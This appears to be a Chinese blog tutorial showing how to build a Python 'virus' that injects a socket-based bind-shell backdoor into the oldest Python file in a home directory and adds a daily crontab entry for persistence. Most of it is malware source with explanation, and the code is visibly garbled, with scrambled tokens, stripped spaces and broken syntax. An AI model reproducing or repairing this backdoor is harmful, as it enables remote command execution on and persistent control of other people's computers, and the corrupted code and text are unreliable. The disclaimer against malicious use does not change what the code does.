今天的文章演示了一个Python“病毒”感染其他Python文件创建后门。该后门利用Python内置的socket模块创建一个listener连接Python内置的subprocess模块??在目标机器上执行命令,同时还创建一个cronjob建立持久化以每天固定时间运行后门。最终的完整Python脚本包含在本文末尾。注意:请勿将本文提供的Python脚本用于恶意目的。虽然它并不先进,但通过一些修改,它可以完全控制某人的计算机。本文的主要目的是使用这些脚本更好地了解黑客如何利用良性程序并将其变成恶意程序。事不宜迟,让我们开始吧。1.建立通信任何后门最重要的部分是建立通信。现在,让我们编写一段用于后门访问的代码。为了通过TCP连接到目标机器,我们使用socket模块来监听来自黑客的连接请求。在socket模块中,有一个也称为socket的函数,我们可以使用它来创建TCP或UDP套接字。使用socket.socket函数创建套接字时,我们需要提供两个参数来指定我们要使用的IP版本和第4层协议。在这个Python脚本中,我们将传入以下参数:socket.AF_INET和socket.SOCK_STREAM。AF_INET:指定IPv4SOCK_STREAM:指定TCP而不是UDP。socket.socket函数返回一个对象,该对象由最终确定正在创建的套接字是监听套接字(服务器)还是连接套接字(客户端)的方法组成。要创建监听套接字,我们需要使用以下方法:bind>将IP地址和端口绑定到网络接口listen>指示我们的套接字开始监听传入连接accept>接受传入连接recv>从连接的客户端接收数据send>向连接的客户端发送数据然而,最重要的方法是recv和send。recv方法接收来自攻击者的命令,使用subproces.run函数在受害者的系统上执行它们,然后将执行命令的标准输出重定向到与攻击者建立的TCP连接。以下是Python代码:fromsocketimportsocket,AF_INET,SOCK_STREAMfromsubprocessimportrun,PIPEfromosimport_exitdefserve():withsocket(AF_INET,SOCK_STREAM)assoc:#resust[*]混淆后的IP值添加绑定到soc.bind((ip,port))soc.listen(5)whileTrue:conn,_=soc.accept()whileTrue:"ut"8re0cmd4)(1code)(1.strip()cmd_output=run(cmd.split(),stdout=pipe,stderr=pipe)IFcmd_output.returncode==0:conn.send(cmd_output.stdout))Pythonfiles此程序遍历指定目录(最好是用户的主目录)并找到修改时间最早的Python脚本。这是一项测试,因此不会感染所有Python文件,而只会感染修改时间最早的文件。感染单个Python文件就足以控制目标机器。defmtrkymnubwx(self):ywjyzmfm=“/”ifself.bgpqz2hjen==“linux”else“else”else“\”对于z3JVB3RHBGZQ,_,_inwalk(selfself.chlkywnhzwfpa)inwall(for.chlkywnhzwfpa):finGlob(Z3JVB3RHB3RHB3RHB3RHBFMFRHBFMFRHBFMFRHBFMFRHBFRHBFRHBFRHBFRHBFRHBFRHBFFPA+”**+”*+”*+”*。py"):????????????if?f?==?Z3Jvb3RhbGZq?+?YWJyZmFm?+?__file__:????????????????continue????????????eHhtbG1vZGF0?=?stat(f).st_mtime????????????ZHRmbGNhbW9k?=?datetime.fromtimestamp(eHhtbG1vZGF0)????????????if?not?self.Z2hhenh4ZGwK:????????????????self.Z2hhenh4ZGwK?=?(f,?ZHRmbGNhbW9k)????????????elif?ZHRmbGNhbW9k?<和==等运算符轻松比较日期。在此函数结束时,选定的目标Python文件名将传递给将后门服务器代码注入其中的函数。3.通过crontab任务持久化这个Python后门的最后一个函数使用subprocess.run函数来调用一个Linuxshell命令,该命令将在当前用户的crontab文件中创建一个条目。此条目指定计划的cronjob应在每天14:00的计划时间运行。添加crontab对应的shell命令如下:echo'0014***file_name|crontab-然后我们让Python将上一步感染的文件添加到crontab中:defYWZhdGhjCg(self):ifself.bGpqZ2hjen=="Linux":run(f"echo'0014***{self.Z2hhenh4ZGwK[0]}'|crontab-",shell=True)以上就是本次分享的全部内容,如果觉得文章还不错,欢迎关注公众号:Python编程学习圈,每日干货分享,送《》J》也能收到很多学习资料。或者去编程学习网了解更多编程技术知识。
